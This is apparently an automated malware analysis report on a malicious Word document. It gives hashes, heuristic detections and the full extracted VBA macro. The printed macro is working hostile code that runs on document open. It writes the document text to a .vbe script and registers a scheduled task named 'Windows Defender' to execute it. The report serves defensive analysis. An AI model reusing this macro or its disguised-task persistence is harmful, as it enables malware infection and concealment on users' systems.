Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ea78baf0919870bb…

MALICIOUS

Office (OOXML)

546.5 KB Created: 2020-10-07 16:16:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-16
MD5: ee6c2c0cee1d675d7d54ddd8c55a7d2a SHA-1: b52b89e670bd912540608671d05b0c772a6a14b9 SHA-256: ea78baf0919870bb04d001f94905bbb84263f9fd012e81005d6adc3aeb8a73ad
118 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set service = CreateObject("Schedule.Service")
Call service.Connect
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Const TriggerTypeTime = 1
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Dim endTime
endTime = VBA.Environ$("ALLUSERSPROFILE") & "\" & "openssl.vbe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1944 bytes
SHA-256: cbd3979c9229c43d89a7a6a7c682cb2ec33b850845e5232d88b70f8057a2f4b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_BuildingBlockInsert(ByVal Range As Range, ByVal Name As String, ByVal Category As String, ByVal BlockType As String, ByVal Template As String)

End Sub

Private Sub Document_Close()

End Sub

Private Sub Document_ContentControlAfterAdd(ByVal NewContentControl As ContentControl, ByVal InUndoRedo As Boolean)

End Sub

Private Sub Document_Open()
Const TriggerTypeTime = 1
Const ActionTypeExec = 0


Set service = CreateObject("Schedule.Service")
Call service.Connect

Dim rootFolder
Set rootFolder = service.GetFolder("\")

Dim taskDefinition
Set taskDefinition = service.NewTask(0)

Dim triggers
Set triggers = taskDefinition.triggers

Dim trigger
Set trigger = triggers.Create(TriggerTypeTime)

Dim startTime
Dim endTime
endTime = VBA.Environ$("ALLUSERSPROFILE") & "\" & "openssl.vbe"

Dim time
time = DateAdd("s", 9, Now)

Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
Dim tTime, tDate

    cSecond = "0" & Second(time)
    cMinute = "0" & Minute(time)
    CHour = "0" & Hour(time)
    cDay = "0" & Day(time)
    cMonth = "0" & Month(time)
    cYear = Year(time)

    tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _
        ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    startTime = tDate & "T" & tTime
    
trigger.StartBoundary = startTime

Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = endTime

Open endTime For Output As #1
Print #1, Range.Text
Close #1

Call rootFolder.RegisterTaskDefinition( _
    "Windows Defender", taskDefinition, 6, , , 3)




End Sub

Private Sub Document_Sync(ByVal SyncEventType As Office.MsoSyncEventType)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 14fcd0fe5a37679b4b41fa408864731269cc927b654f618c5133c4afbb1b2f5f

Open this report in the interactive analyzer, or submit your own file for analysis.